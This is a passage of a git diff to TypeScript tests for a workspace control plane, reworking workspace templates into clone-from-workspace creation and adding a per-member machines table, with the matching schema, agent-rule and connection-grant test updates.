phoneHomeUrl, resetDatabase, sameOrgSession, userSession, @@ -56,21 +55,6 @@ async function listRules(app: TestApp, cookie: string): Promise return (await response.json()).rules; } -/** Boots a workspace far enough to hold a box access token, which is the only - * identity `GET /workspaces/self/agent-rules` accepts. */ -async function boxTokenFor( - app: TestApp, - providers: FakeProviders, - workspaceId: string, -): Promise { - const ready = await appRequest(app, new URL(phoneHomeUrl(providers, workspaceId)).pathname, { - method: "POST", - headers: { "Content-Type": "application/json" }, - body: JSON.stringify({ pub_key_ed25519: "ssh-ed25519 AAAAhost" }), - }); - return (await ready.json<{ access_token: string }>()).access_token; -} - describe("agent rule library", () => { beforeEach(resetDatabase); @@ -227,11 +211,13 @@ describe("agent rule library", () => { expect((await appRequest(app, "/agent-rules")).status).toBe(401); }); - it("resolves the workspace rule ahead of the template rule and the built-in", async () => { + // A workspace is its own template now, so the clone source is what a create + // inherits a rule from (plans/MEMBER-MACHINES.md §0). + it("resolves the workspace rule ahead of the clone source's rule and the built-in", async () => { const { app, providers } = harness(); const cookie = await operatorSession(app); await putRule(app, cookie, "rule-template", { - name: "Template rules", + name: "Source rules", content: "# from the template\n", }); await putRule(app, cookie, "rule-workspace", { @@ -239,19 +225,6 @@ describe("agent rule library", () => { content: "# from the workspace\n", }); - const templateResponse = await appRequest(app, "/workspace-templates", { - ...json({ - name: "ruled", - machineTypeId: "small", - folderIds: [], - agentRuleId: "rule-template", - }, "POST"), - headers: { Cookie: cookie, "Content-Type": "application/json" }, - }); - expect(templateResponse.status).toBe(201); - const template = (await templateResponse.json<{ template: WorkspaceTemplateView }>()).template; - expect(template.agentRuleId).toBe("rule-template"); - const create = async (body: object): Promise => { const response = await appRequest(app, "/workspaces", { ...json(body, "POST"), @@ -277,21 +250,25 @@ describe("agent rule library", () => { expect(plain.agentRuleId).toBeNull(); expect((await served(plain.id)).content).toBe(AGENT_RULES_DOC); - // 2. From the template: the template's rule. - const inherited = await create({ templateId: template.id }); + // The clone source carries the rule a clone inherits. + const source = await create({ machineTypeId: "small", agentRuleId: "rule-template" }); + expect(source.agentRuleId).toBe("rule-template"); + + // 2. From the clone source: the source's rule. + const inherited = await create({ cloneFromWorkspaceId: source.id }); expect(inherited.agentRuleId).toBe("rule-template"); expect((await served(inherited.id)).content).toBe("# from the template\n"); - // 3. The request beats the template. + // 3. The request beats the clone source. const overridden = await create({ - templateId: template.id, + cloneFromWorkspaceId: source.id, agentRuleId: "rule-workspace", }); expect(overridden.agentRuleId).toBe("rule-workspace"); expect((await served(overridden.id)).content).toBe("# from the workspace\n"); - // 4. An explicit null on a templated create drops back to the built-in. - const cleared = await create({ templateId: template.id, agentRuleId: null }); + // 4. An explicit null on a cloned create drops back to the built-in. + const cleared = await create({ cloneFromWorkspaceId: source.id, agentRuleId: null }); expect(cleared.agentRuleId).toBeNull(); expect((await served(cleared.id)).content).toBe(AGENT_RULES_DOC); @@ -302,68 +279,6 @@ describe("agent rule library", () => { expect((await served(inherited.id)).version).toMatch(/^[0-9a-f]{16}$/u); }); - // A PUT that validated `agentRuleId` and then wrote only name/machine dropped - // the caller's choice in silence. The rule is replaced when the request - // carries the key and left alone when it does not — the edit form does not - // render the picker, and blanking a stored rule because a field was absent is - // not an edit anyone asked for. - it("replaces a template's agent rule on PUT only when the request carries it", async () => { - const { app } = harness(); - const cookie = await operatorSession(app); - const outsider = await userSession("outsider"); - await putRule(app, cookie, "rule-a", { name: "A", content: "# a\n" }); - await putRule(app, cookie, "rule-b", { name: "B", content: "# b\n" }); - await putRule(app, outsider, "rule-other", { name: "Theirs", content: "# theirs\n" }); - - const created = await appRequest(app, "/workspace-templates", { - ...json({ - name: "ruled", machineTypeId: "small", folderIds: [], agentRuleId: "rule-a", - }, "POST"), - headers: { Cookie: cookie, "Content-Type": "application/json" }, - }); - expect(created.status).toBe(201); - const id = (await created.json<{ template: WorkspaceTemplateView }>()).template.id; - - const put = async (body: object): Promise => appRequest( - app, - `/workspace-templates/${id}`, - { ...json(body), headers: { Cookie: cookie, "Content-Type": "application/json" } }, - ); - const stored = async (): Promise => { - const response = await appRequest(app, "/workspace-templates", { headers: { Cookie: cookie } }); - const templates = (await response.json<{ templates: WorkspaceTemplateView[] }>()).templates; - return templates.find((template) => template.id === id)?.agentRuleId ?? null; - }; - - // Absent: kept. - expect((await put({ name: "renamed", machineTypeId: "small", folderIds: [] })).status).toBe(200); - expect(await stored()).toBe("rule-a"); - - // Present: replaced. - expect((await put({ - name: "renamed", machineTypeId: "small", folderIds: [], agentRuleId: "rule-b", - })).status).toBe(200); - expect(await stored()).toBe("rule-b"); - - // Explicit null: cleared. - expect((await put({ - name: "renamed", machineTypeId: "small", folderIds: [], agentRuleId: null, - })).status).toBe(200); - expect(await stored()).toBeNull(); - - // Another org's rule, and one that does not exist, are 404s — and the 404 - // lands before any write, so the rest of the edit does not half-apply. - expect((await put({ - name: "reverted", machineTypeId: "small", folderIds: [], agentRuleId: "rule-a", - })).status).toBe(200); - for (const agentRuleId of ["rule-other", "missing"]) { - expect((await put({ - name: "clobbered", machineTypeId: "small", folderIds: [], agentRuleId, - })).status, agentRuleId).toBe(404); - } - expect(await stored()).toBe("rule-a"); - }); - it("rejects a rule from another org on create and frees references on delete", async () => { const { app, providers } = harness(); const cookie = await operatorSession(app); @@ -380,30 +295,11 @@ describe("agent rule library", () => { headers: { Cookie: cookie, "Content-Type": "application/json" }, })).status).toBe(404); } - expect((await appRequest(app, "/workspace-templates", { - ...json({ - name: "cross org", - machineTypeId: "small", - folderIds: [], - agentRuleId: "rule-other", - }, "POST"), - headers: { Cookie: cookie, "Content-Type": "application/json" }, - })).status).toBe(404); expect((await appRequest(app, "/workspaces", { ...json({ machineTypeId: "small", agentRuleId: 7 }, "POST"), headers: { Cookie: cookie, "Content-Type": "application/json" }, })).status).toBe(400); - const templateResponse = await appRequest(app, "/workspace-templates", { - ...json({ - name: "ruled", - machineTypeId: "small", - folderIds: [], - agentRuleId: "rule-1", - }, "POST"), - headers: { Cookie: cookie, "Content-Type": "application/json" }, - }); - const template = (await templateResponse.json<{ template: WorkspaceTemplateView }>()).template; const workspaceResponse = await appRequest(app, "/workspaces", { ...json({ machineTypeId: "small", agentRuleId: "rule-1" }, "POST"), headers: { Cookie: cookie, "Content-Type": "application/json" }, @@ -428,11 +324,11 @@ describe("agent rule library", () => { }); expect((await served.json()).content).toBe(AGENT_RULES_DOC); - const templates = await appRequest(app, "/workspace-templates", { - headers: { Cookie: cookie }, + // The workspace that held the rule falls back to the built-in too: the + // delete nulls every reference rather than refusing. + const listed = await appRequest(app, `/workspaces/${workspace.id}`, { + headers: { Cookie: cookie, Accept: "application/json" }, }); - const listedTemplate = (await templates.json<{ templates: WorkspaceTemplateView[] }>()) - .templates.find(({ id }) => id === template.id); - expect(listedTemplate?.agentRuleId).toBeNull(); + expect((await listed.json<{ workspace: WorkspaceView }>()).workspace.agentRuleId).toBeNull(); }); }); diff --git a/packages/control-plane/test/aws-provider.test.ts b/packages/control-plane/test/aws-provider.test.ts index 298e514e..879328c3 100644 --- a/packages/control-plane/test/aws-provider.test.ts +++ b/packages/control-plane/test/aws-provider.test.ts @@ -110,6 +110,7 @@ function provider(fake: FakeEc2, overrides: Partial = {}): Aw function createInput(machineTypeId: string, userData = "#!/bin/bash\necho hi\n"): CreateVmInput { return { workspaceId: "workspace-id-0123456789", + machineId: "machine-id-0123456789", machineTypeId, phoneHomeUrl: PHONE_HOME_URL, userData, diff --git a/packages/control-plane/test/blitzdev-closure.test.ts b/packages/control-plane/test/blitzdev-closure.test.ts index 8e4f8650..6c88bf0c 100644 --- a/packages/control-plane/test/blitzdev-closure.test.ts +++ b/packages/control-plane/test/blitzdev-closure.test.ts @@ -71,7 +71,7 @@ describe.skipIf(!managedToolchainEnabled)("blitz.dev managed module closure [ven expect(closure.missing.every((miss) => miss.target === "core/webapp-tickets")).toBe(true); expect(report).toContain("MISSING core/webapp-tickets"); expect(report).toContain("<- core/index.ts"); - expect(report).toContain("<- core/identity/grants.ts"); + expect(report).toContain("<- core/workspace-tunnels.ts"); // Both spellings reach the same file from different depths. expect(report).toContain("(./webapp-tickets)"); expect(report).toContain("(../webapp-tickets)"); diff --git a/packages/control-plane/test/blitzdev-emitter.test.ts b/packages/control-plane/test/blitzdev-emitter.test.ts index 76c67f1b..70364e06 100644 --- a/packages/control-plane/test/blitzdev-emitter.test.ts +++ b/packages/control-plane/test/blitzdev-emitter.test.ts @@ -47,6 +47,7 @@ const expected = [ "core/db.ts", "core/blobs.ts", "core/wire.ts", + "core/wire-machines.ts", "core/agent-rules.ts", "core/bootstrap.ts", "core/box-config.ts", @@ -56,6 +57,7 @@ const expected = [ "core/entitlements.ts", "core/environment.ts", "core/connections/types.ts", + "core/connections/pull-routes.ts", "core/connections/pull-wire.ts", "core/connections/root-crypto.ts", "core/connections/manifest.ts", @@ -93,12 +95,12 @@ const expected = [ "core/files/sync.ts", "core/files/usage-push.ts", "core/identity/google.ts", - "core/identity/grants.ts", "core/identity/invites.ts", "core/identity/members.ts", "core/identity/orgs.ts", "core/identity/routes.ts", "core/janitors.ts", + "core/machines.ts", "core/oauth-state.ts", "core/oauth.ts", "core/operator-tokens.ts", @@ -117,9 +119,12 @@ const expected = [ "core/webapp-tickets.ts", "core/template-repos.ts", "core/workspace-access.ts", + "core/workspace-credentials.ts", + "core/workspace-members.ts", "core/workspace-names.ts", + "core/workspace-projection.ts", "core/workspace-records.ts", - "core/workspace-templates.ts", + "core/workspace-settings.ts", "core/workspace-tunnels.ts", "core/workspace-volumes.ts", "core/workspaces.ts", @@ -150,7 +155,7 @@ describe.skipIf(!managedToolchainEnabled)("blitz.dev managed emitter [vendor-onl expect(UPLOAD_MANIFEST).toEqual(expected); expect(first.files.map((file) => file.path)).toEqual(expected); expect(first).toEqual(second); - expect(first.files).toHaveLength(102); + expect(first.files).toHaveLength(107); expect(first.files.every((file) => file.bytes <= 1024 * 1024)).toBe(true); }); diff --git a/packages/control-plane/test/blitzdev-schema.test.ts b/packages/control-plane/test/blitzdev-schema.test.ts index 2a0a6426..4c9a92d7 100644 --- a/packages/control-plane/test/blitzdev-schema.test.ts +++ b/packages/control-plane/test/blitzdev-schema.test.ts @@ -21,25 +21,25 @@ const expectedTables = [ "sessions", "agent_rules", "workspaces", + "machines", + "workspace_members", + "workspace_credentials", "invites", "volume_ownership", - "workspace_grants", "folders", "folder_grants", "folder_attachments", - "workspace_templates", - "workspace_template_folders", "recipes", "webapp_state", "device_authorizations", "boxes", "box_token_families", + "machine_token_families", "broker_boxes", "broker_keys", "broker_members", "connections", "user_oauth_grants", - "workspace_template_connections", "provider_health", "credential_leases", "credential_events", @@ -99,10 +99,17 @@ describe.skipIf(!managedToolchainEnabled)("blitz.dev managed schema [vendor-only expect(BLITZDEV_CONFIG.tables.find(({ name }) => name === "workspaces")).toMatchObject({ fields: expect.arrayContaining([ expect.objectContaining({ - name: "machine_type_id", + name: "default_machine_type_id", notNull: true, default: { l: "unknown" }, }), + expect.objectContaining({ + name: "auto_provision", + type: "bool", + default: { l: 1 }, + check: "auto_provision IN (0, 1)", + }), + expect.objectContaining({ name: "deleted_at", type: "integer" }), expect.objectContaining({ name: "org_id", foreignKey: { table: "orgs", column: "id" }, @@ -111,7 +118,6 @@ describe.skipIf(!managedToolchainEnabled)("blitz.dev managed schema [vendor-only name: "owner_membership_id", foreignKey: { table: "memberships", column: "id" }, }), - expect.objectContaining({ name: "environment", type: "text" }), expect.objectContaining({ name: "files_ready", type: "bool", @@ -126,10 +132,74 @@ describe.skipIf(!managedToolchainEnabled)("blitz.dev managed schema [vendor-only name: "recipe_id", foreignKey: { table: "recipes", column: "id" }, }), + ]), + }); + // The VM columns the workspace shed. One machine per (workspace, member), + // and the pair is unique (plans/MEMBER-MACHINES.md §1). + expect(BLITZDEV_CONFIG.tables.find(({ name }) => name === "machines")).toMatchObject({ + fields: expect.arrayContaining([ + expect.objectContaining({ + name: "workspace_id", + notNull: true, + foreignKey: { table: "workspaces", column: "id" }, + }), + expect.objectContaining({ + name: "membership_id", + notNull: true, + foreignKey: { table: "memberships", column: "id" }, + }), + expect.objectContaining({ + name: "state", + notNull: true, + check: "state IN ('provisioning', 'running', 'stopped', 'error', 'destroying', 'destroyed')", + }), + expect.objectContaining({ name: "machine_type_id", notNull: true }), expect.objectContaining({ name: "compute_credential_source", + notNull: true, check: "compute_credential_source IN ('org', 'deployment')", }), + expect.objectContaining({ name: "vm_id", type: "text" }), + expect.objectContaining({ name: "volume_id", type: "text" }), + expect.objectContaining({ name: "phone_home_hash", type: "text" }), + expect.objectContaining({ name: "tunnel_hostname", type: "text" }), + ]), + indexes: expect.arrayContaining([ + { name: "identity", unique: true, fields: ["workspace_id", "membership_id"] }, + ]), + }); + expect(BLITZDEV_CONFIG.tables.find(({ name }) => name === "workspace_members")).toMatchObject({ + fields: expect.arrayContaining([ + expect.objectContaining({ + name: "role", + notNull: true, + check: "role IN ('admin', 'member', 'viewer')", + }), + ]), + indexes: expect.arrayContaining([ + { name: "identity", unique: true, fields: ["workspace_id", "membership_id"] }, + ]), + }); + // Sealed values only: the ciphertext column is NOT NULL and nothing here + // stores a plaintext value. + expect(BLITZDEV_CONFIG.tables.find(({ name }) => name === "workspace_credentials")).toMatchObject({ + fields: expect.arrayContaining([ + expect.objectContaining({ name: "name", notNull: true }), + expect.objectContaining({ name: "ciphertext", notNull: true }), + expect.objectContaining({ name: "revoked_at", type: "integer" }), + ]), + }); + // The machine's own credential. `box_token_families` beside it is what is + // left of the old table: brokers and device-code enrolments. + expect(BLITZDEV_CONFIG.tables.find(({ name }) => name === "machine_token_families")).toMatchObject({ + fields: expect.arrayContaining([ + expect.objectContaining({ + name: "machine_id", + primary: true, + foreignKey: { table: "machines", column: "id", onDelete: "CASCADE" }, + }), + expect.objectContaining({ name: "vm_id", type: "text" }), + expect.objectContaining({ name: "access_hash", notNull: true, unique: true }), ]), }); expect(BLITZDEV_CONFIG.tables.find(({ name }) => name === "org_compute_credentials")).toMatchObject({ @@ -173,9 +243,8 @@ describe.skipIf(!managedToolchainEnabled)("blitz.dev managed schema [vendor-only }), expect.objectContaining({ name: "name", notNull: true }), expect.objectContaining({ - name: "template_id", - notNull: true, - foreignKey: { table: "workspace_templates", column: "id" }, + name: "source_workspace_id", + foreignKey: { table: "workspaces", column: "id" }, }), expect.objectContaining({ name: "harness", @@ -193,7 +262,7 @@ describe.skipIf(!managedToolchainEnabled)("blitz.dev managed schema [vendor-only ], indexes: [ { name: "org", fields: ["org_id", "created_at"] }, - { name: "template", fields: "template_id" }, + { name: "source_workspace", fields: "source_workspace_id" }, ], }); expect(BLITZDEV_CONFIG.tables.find(({ name }) => name === "agent_rules")).toMatchObject({ @@ -239,16 +308,6 @@ describe.skipIf(!managedToolchainEnabled)("blitz.dev managed schema [vendor-only }), ]), }); - expect(BLITZDEV_CONFIG.tables.find(({ name }) => name === "workspace_grants")).toMatchObject({ - fields: expect.arrayContaining([ - expect.objectContaining({ name: "role", check: "role IN ('editor', 'viewer')" }), - ]), - indexes: [{ - name: "identity", - unique: true, - fields: ["workspace_id", "membership_id"], - }], - }); expect(BLITZDEV_CONFIG.tables.find(({ name }) => name === "folders")).toMatchObject({ fields: [ expect.objectContaining({ name: "id" }), @@ -261,29 +320,6 @@ describe.skipIf(!managedToolchainEnabled)("blitz.dev managed schema [vendor-only ], indexes: [{ name: "org", fields: ["org_id", "created_at"] }], }); - expect(BLITZDEV_CONFIG.tables.find(({ name }) => name === "workspace_templates")).toMatchObject({ - fields: expect.arrayContaining([ - expect.objectContaining({ name: "machine_type_id", notNull: true }), - expect.objectContaining({ name: "environment", type: "text" }), - expect.objectContaining({ - name: "agent_rule_id", - foreignKey: { table: "agent_rules", column: "id", onDelete: "SET NULL" }, - }), - expect.objectContaining({ - name: "created_by_membership_id", - foreignKey: { table: "memberships", column: "id" }, - }), - ]), - indexes: [{ name: "org", fields: ["org_id", "created_at"] }], - }); - expect( - BLITZDEV_CONFIG.tables.find(({ name }) => name === "workspace_template_folders"), - ).toMatchObject({ - indexes: [ - { name: "identity", unique: true, fields: ["template_id", "folder_id"] }, - { name: "folder", fields: ["folder_id", "template_id"] }, - ], - }); expect(BLITZDEV_CONFIG.tables.find(({ name }) => name === "folder_grants")).toMatchObject({ fields: [ expect.objectContaining({ name: "id" }), @@ -363,22 +399,24 @@ describe.skipIf(!managedToolchainEnabled)("blitz.dev managed schema [vendor-only "idx_sessions_expires_at", "idx_agent_rules_identity", "idx_workspaces_owner", - "idx_workspaces_phase", - "idx_workspace_grants_identity", + "idx_workspaces_org", + "idx_machines_identity", + "idx_machines_workspace", + "idx_machines_state", + "idx_workspace_members_identity", + "idx_workspace_members_membership", + "idx_workspace_credentials_workspace", "idx_folders_org", "idx_folder_grants_identity", "idx_folder_grants_membership", "idx_folder_attachments_identity", "idx_folder_attachments_folder", - "idx_workspace_templates_org", - "idx_workspace_template_folders_identity", - "idx_workspace_template_folders_folder", "idx_recipes_org", - "idx_recipes_template", + "idx_recipes_source_workspace", "idx_webapp_state_identity", "idx_boxes_broker", "idx_boxes_principal", - "idx_broker_keys_box", + "idx_broker_keys_machine", "idx_broker_keys_identity", "idx_broker_members_box", "idx_broker_members_identity", @@ -386,8 +424,7 @@ describe.skipIf(!managedToolchainEnabled)("blitz.dev managed schema [vendor-only "idx_connections_org", "idx_user_oauth_grants_live", "idx_user_oauth_grants_provider", - "idx_workspace_template_connections_provider", - "idx_credential_leases_workspace", + "idx_credential_leases_workspace", "idx_credential_leases_expiry", "idx_credential_leases_token", "idx_credential_leases_grant", diff --git a/packages/control-plane/test/bootstrap.test.ts b/packages/control-plane/test/bootstrap.test.ts index 98f3c149..a0d1cb59 100644 --- a/packages/control-plane/test/bootstrap.test.ts +++ b/packages/control-plane/test/bootstrap.test.ts @@ -1037,6 +1037,7 @@ write_files: await provider.createVm({ workspaceId: "workspace-id", + machineId: "machine-id", machineTypeId: "cx23@fsn1", sshPublicKey: SSH_PUBLIC_KEY, phoneHomeUrl: PHONE_HOME_URL, diff --git a/packages/control-plane/test/box-config-conformance.test.ts b/packages/control-plane/test/box-config-conformance.test.ts index d8676307..f16be62d 100644 --- a/packages/control-plane/test/box-config-conformance.test.ts +++ b/packages/control-plane/test/box-config-conformance.test.ts @@ -81,10 +81,10 @@ async function workspaceUpdateColumns( workspaceId: string, ): Promise<{ box_update_requested: number; box_image_reported: string | null }> { const row = await env.DB - .prepare("SELECT box_update_requested, box_image_reported FROM workspaces WHERE id = ?1") + .prepare("SELECT box_update_requested, box_image_reported FROM machines WHERE workspace_id = ?1") .bind(workspaceId) .first<{ box_update_requested: number; box_image_reported: string | null }>(); - if (row === null) throw new Error("workspace row missing"); + if (row === null) throw new Error("machine row missing"); return row; } @@ -206,7 +206,7 @@ describe("box-config control-plane conformance", () => { for (const [name, fixture] of fixtures("result-")) { await env.DB - .prepare("UPDATE workspaces SET box_update_requested = 1, box_image_reported = NULL WHERE id = ?1") + .prepare("UPDATE machines SET box_update_requested = 1, box_image_reported = NULL WHERE workspace_id = ?1") .bind(workspaceId) .run(); const response = await appRequest(h.app, "/workspaces/self/box-update-result", { diff --git a/packages/control-plane/test/connections.test.ts b/packages/control-plane/test/connections.test.ts index a9655165..8a881754 100644 --- a/packages/control-plane/test/connections.test.ts +++ b/packages/control-plane/test/connections.test.ts @@ -6,7 +6,6 @@ import type { ListUserGrantsResponse, MintResult, WorkspaceConnectionsResponse, - WorkspaceTemplateView, WorkspaceView, } from "@blitzos/schema"; import { env } from "cloudflare:workers"; @@ -324,11 +323,8 @@ describe("connections: per-user grants", () => { const { app, providers } = harness(); const owner = await operatorSession(app); expect((await connectLinear(app, owner)).status).toBe(204); - const { workspace, box } = await readyWorkspace(app, providers, owner, { - ...LINEAR_CEILING, - orgShareRole: "editor", - }); - // A second member with no grant of their own shares the workspace. + const { workspace, box } = await readyWorkspace(app, providers, owner, LINEAR_CEILING); + // A second org member with no grant of their own. const editor = await sameOrgSession("editor-one"); expect(editor.cookie.length).toBeGreaterThan(0); @@ -347,7 +343,7 @@ describe("connections: per-user grants", () => { const cookie = await operatorSession(app); // Another member's paste declares the org connection row. The workspace // owner still holds no grant, which is the case this covers. - const holder = await sameOrgSession("linear-holder"); + const holder = await sameOrgSession("linear-holder", "admin"); expect((await connectLinear(app, holder.cookie)).status).toBe(204); const { box } = await readyWorkspace(app, providers, cookie, LINEAR_CEILING); @@ -356,7 +352,7 @@ describe("connections: per-user grants", () => { // the only failure shape that carries a request id back. expect(response.status).toBe(404); const body = await response.json<{ error: string; request_id: string }>(); - expect(body.error).toBe("connection linear has no grant for the workspace owner"); + expect(body.error).toBe("connection linear has no grant for you"); expect(body.request_id).toMatch(/^[0-9a-f-]+$/u); const inbox = await appRequest(app, "/requests?state=pending", { @@ -489,7 +485,7 @@ describe("connections: per-user grants", () => { const after = await mint(app, box.access_token, "linear"); expect(after.status).toBe(404); await expect(after.json()).resolves.toMatchObject({ - error: "connection linear has no grant for the workspace owner", + error: "connection linear has no grant for you", }); }); @@ -537,20 +533,19 @@ describe("connections: templates and enablement", () => { async function template( app: Harness["app"], cookie: string, - ): Promise { - const created = await appRequest(app, "/workspace-templates", { + ): Promise { + const created = await appRequest(app, "/workspaces", { method: "POST", headers: { Cookie: cookie, "Content-Type": "application/json" }, body: JSON.stringify({ name: "frontend", machineTypeId: "small", - folderIds: [], - connections: [{ provider: "linear" }], + connections: ["linear"], }), }); expect(created.status).toBe(201); - const { template: view } = await created.json<{ template: WorkspaceTemplateView }>(); - return view; + const { workspace } = await created.json<{ workspace: WorkspaceView }>(); + return workspace; } /** Creation never blocks on connections: a stipulated provider with no @@ -560,12 +555,12 @@ describe("connections: templates and enablement", () => { const { app, providers } = harness(); const cookie = await operatorSession(app); const view = await template(app, cookie); - expect(view.connections).toEqual([{ provider: "linear" }]); + expect(view.connections).toEqual(["linear"]); const created = await appRequest(app, "/workspaces", { method: "POST", headers: { Cookie: cookie, "Content-Type": "application/json" }, - body: JSON.stringify({ templateId: view.id }), + body: JSON.stringify({ cloneFromWorkspaceId: view.id }), }); expect(created.status).toBe(201); const { workspace } = await created.json<{ workspace: WorkspaceView }>(); @@ -995,9 +990,7 @@ describe("connections: connecting from the webApp", () => { const { app, providers } = harness(); const owner = await operatorSession(app); expect((await connectLinear(app, owner)).status).toBe(204); - const { workspace } = await readyWorkspace(app, providers, owner, { - orgShareRole: "editor", - }); + const { workspace } = await readyWorkspace(app, providers, owner); const editor = await sameOrgSession("editor-one"); expect((await connectHere(app, editor.cookie, workspace.id)).status).toBe(403); @@ -1152,9 +1145,7 @@ describe("connections: connecting from the webApp", () => { it("refuses to sign a workspace the caller cannot control into the state", async () => { const { app, providers } = harness(); const owner = await operatorSession(app); - const { workspace } = await readyWorkspace(app, providers, owner, { - orgShareRole: "editor", - }); + const { workspace } = await readyWorkspace(app, providers, owner); const editor = await sameOrgSession("editor-one"); testConnectSecrets.set("LINEAR_CLIENT_ID", "client-id-value"); testConnectSecrets.set("LINEAR_CLIENT_SECRET", "client-secret-value"); @@ -2277,24 +2268,25 @@ describe("connections: admin-configured providers through templates", () => { expect(response.status).toBe(204); } + /** A workspace is its own template now, so the thing a create clones is a + * workspace that already stipulates these providers. */ async function templateNaming( app: Harness["app"], cookie: string, connections: { provider: string }[], - ): Promise { - const created = await appRequest(app, "/workspace-templates", { + ): Promise { + const created = await appRequest(app, "/workspaces", { method: "POST", headers: { Cookie: cookie, "Content-Type": "application/json" }, body: JSON.stringify({ name: "ops", machineTypeId: "small", - folderIds: [], - connections, + connections: connections.map(({ provider }) => provider), }), }); expect(created.status).toBe(201); - const { template } = await created.json<{ template: WorkspaceTemplateView }>(); - return template; + const { workspace } = await created.json<{ workspace: WorkspaceView }>(); + return workspace; } async function workspaceCeiling(workspaceId: string): Promise { @@ -2389,11 +2381,11 @@ describe("connections: admin-configured providers through templates", () => { // Pasting the token — with the instance URL, being the org's first — is // the one member step; it also declares the org connection row. - const member = await sameOrgSession("youtrack-pat-member"); + const member = await sameOrgSession("youtrack-pat-member", "admin"); expect((await pasteYoutrack(app, member.cookie, YOUTRACK_PAT, YOUTRACK_BASE)).status) .toBe(204); const { workspace, box } = await readyWorkspace(app, providers, member.cookie, { - templateId: template.id, + cloneFromWorkspaceId: template.id, }); expect(await workspaceCeiling(workspace.id)).toEqual({ integrations: { youtrack: {} }, @@ -2442,11 +2434,11 @@ describe("connections: admin-configured providers through templates", () => { // No admin-root fallback exists: a second member without a grant still // creates — creation never blocks — but nothing mints until they paste // their own token. The panel shows youtrack as needs-you meanwhile. - const stranger = await sameOrgSession("youtrack-strangers"); + const stranger = await sameOrgSession("youtrack-strangers", "admin"); const bare = await appRequest(app, "/workspaces", { method: "POST", headers: { Cookie: stranger.cookie, "Content-Type": "application/json" }, - body: JSON.stringify({ templateId: template.id }), + body: JSON.stringify({ cloneFromWorkspaceId: template.id }), }); expect(bare.status).toBe(201); const { workspace: unbacked } = await bare.json<{ workspace: WorkspaceView }>(); @@ -2468,7 +2460,7 @@ describe("connections: admin-configured providers through templates", () => { // The second member pastes only their token: the row already knows the // instance, so the URL is not asked for again. - const second = await sameOrgSession("youtrack-second-member"); + const second = await sameOrgSession("youtrack-second-member", "admin"); const SECOND_PAT = "perm:second-members-token"; expect((await pasteYoutrack(app, second.cookie, SECOND_PAT)).status).toBe(204); @@ -2510,9 +2502,9 @@ describe("connections: admin-configured providers through templates", () => { { provider: "discord" }, ]); - const member = await sameOrgSession("discord-template-member"); + const member = await sameOrgSession("discord-template-member", "admin"); const { workspace, box } = await readyWorkspace(app, providers, member.cookie, { - templateId: template.id, + cloneFromWorkspaceId: template.id, }); expect(await workspaceCeiling(workspace.id)).toEqual({ integrations: { discord: {} }, @@ -2557,11 +2549,11 @@ describe("connections: admin-configured providers through templates", () => { const template = await templateNaming(app, admin, [ { provider: "youtrack" }, ]); - const member = await sameOrgSession("blocked-template-member"); + const member = await sameOrgSession("blocked-template-member", "admin"); const created = await appRequest(app, "/workspaces", { method: "POST", headers: { Cookie: member.cookie, "Content-Type": "application/json" }, - body: JSON.stringify({ templateId: template.id }), + body: JSON.stringify({ cloneFromWorkspaceId: template.id }), }); // Creation never blocks on connections: no admin root and no grant means // the provider reads as needs-you in the panel, and the first in-box mint diff --git a/packages/control-plane/test/control-plane.test.ts b/packages/control-plane/test/control-plane.test.ts index 03dc0888..bc5fddcd 100644 --- a/packages/control-plane/test/control-plane.test.ts +++ b/packages/control-plane/test/control-plane.test.ts @@ -43,6 +43,7 @@ import { resetDatabase, testRuntime, userSession, + machineIdFor, } from "./helpers.js"; interface WorkspaceResponse { @@ -282,7 +283,7 @@ describe("control plane security and lifecycle", () => { const cookie = await operatorSession(app); const workspace = await createWorkspace(app, cookie); await env.DB - .prepare("UPDATE workspaces SET phase = 'ready', vm_id = 'unowned' WHERE id = ?1") + .prepare("UPDATE machines SET state = 'running', vm_id = 'unowned' WHERE workspace_id = ?1") .bind(workspace.id) .run(); @@ -305,10 +306,12 @@ describe("control plane security and lifecycle", () => { } expect(providers.destroyCalls).toBe(0); expect( - await env.DB.prepare("SELECT phase FROM workspaces WHERE id = ?1") + await env.DB.prepare("SELECT state FROM machines WHERE workspace_id = ?1") .bind(workspace.id) - .first("phase"), - ).toBe("ready"); + .first("state"), + // The destroy reached the provider lookup and stopped there, so the + // machine is left mid-flight for the janitor rather than tombstoned. + ).toBe("destroying"); }); it("creates workspaces without an SSH key and normalizes blank keys to absence", async () => { @@ -935,6 +938,7 @@ describe("control plane security and lifecycle", () => { await expect( provider.createVm({ workspaceId: "workspace-id", + machineId: "machine-id", machineTypeId: "cx22@fsn1", sshPublicKey: "ssh-ed25519 AAAAC3Nzatest caller", phoneHomeUrl: "https://cp.example/workspaces/workspace-id/phone-home/token", @@ -964,6 +968,7 @@ describe("control plane security and lifecycle", () => { await expect( provider.createVm({ workspaceId: "workspace-id", + machineId: "machine-id", machineTypeId: "cx22@fsn1", sshPublicKey: "ssh-ed25519 AAAAC3Nzatest caller", phoneHomeUrl: "https://cp.example/workspaces/workspace-id/phone-home/token", @@ -990,6 +995,7 @@ describe("control plane security and lifecycle", () => { await expect( provider.createVm({ workspaceId: "workspace-id", + machineId: "machine-id", machineTypeId: "cx22@fsn1", sshPublicKey: "ssh-ed25519 AAAAC3Nzatest caller", phoneHomeUrl: "https://cp.example/workspaces/workspace-id/phone-home/token", @@ -1044,24 +1050,39 @@ describe("control plane security and lifecycle", () => { const { app, providers } = harness(); const cookie = await operatorSession(app); const now = Date.now(); - for (const [index, phase] of ["creating", "ready", "destroying", "error"].entries()) { - await env.DB - .prepare( + // The unit is a MACHINE now: a workspace is configuration and costs + // nothing, a VM costs money. Every non-destroyed state holds a slot. + for (const [index, state] of ["provisioning", "running", "stopped", "destroying", "error"].entries()) { + await env.DB.batch([ + env.DB.prepare( `INSERT INTO workspaces - (id, owner_id, org_id, owner_membership_id, phase, revision, created_at, updated_at) - VALUES (?1, 'operator', 'personal', 'personal', ?2, 1, ?3, ?3)`, - ) - .bind(`quota-${index}`, phase, now) - .run(); + (id, owner_id, org_id, owner_membership_id, default_machine_type_id, + auto_provision, revision, created_at, updated_at) + VALUES (?1, 'operator', 'personal', 'personal', 'small', 1, 1, ?2, ?2)`, + ).bind(`quota-${String(index)}`, now), + env.DB.prepare( + `INSERT INTO machines + (id, workspace_id, membership_id, state, machine_type_id, + compute_credential_source, created_at, updated_at) + VALUES (?1, ?2, 'personal', ?3, 'small', 'deployment', ?4, ?4)`, + ).bind(`quota-machine-${String(index)}`, `quota-${String(index)}`, state, now), + ]); } - await env.DB - .prepare( + await env.DB.batch([ + env.DB.prepare( 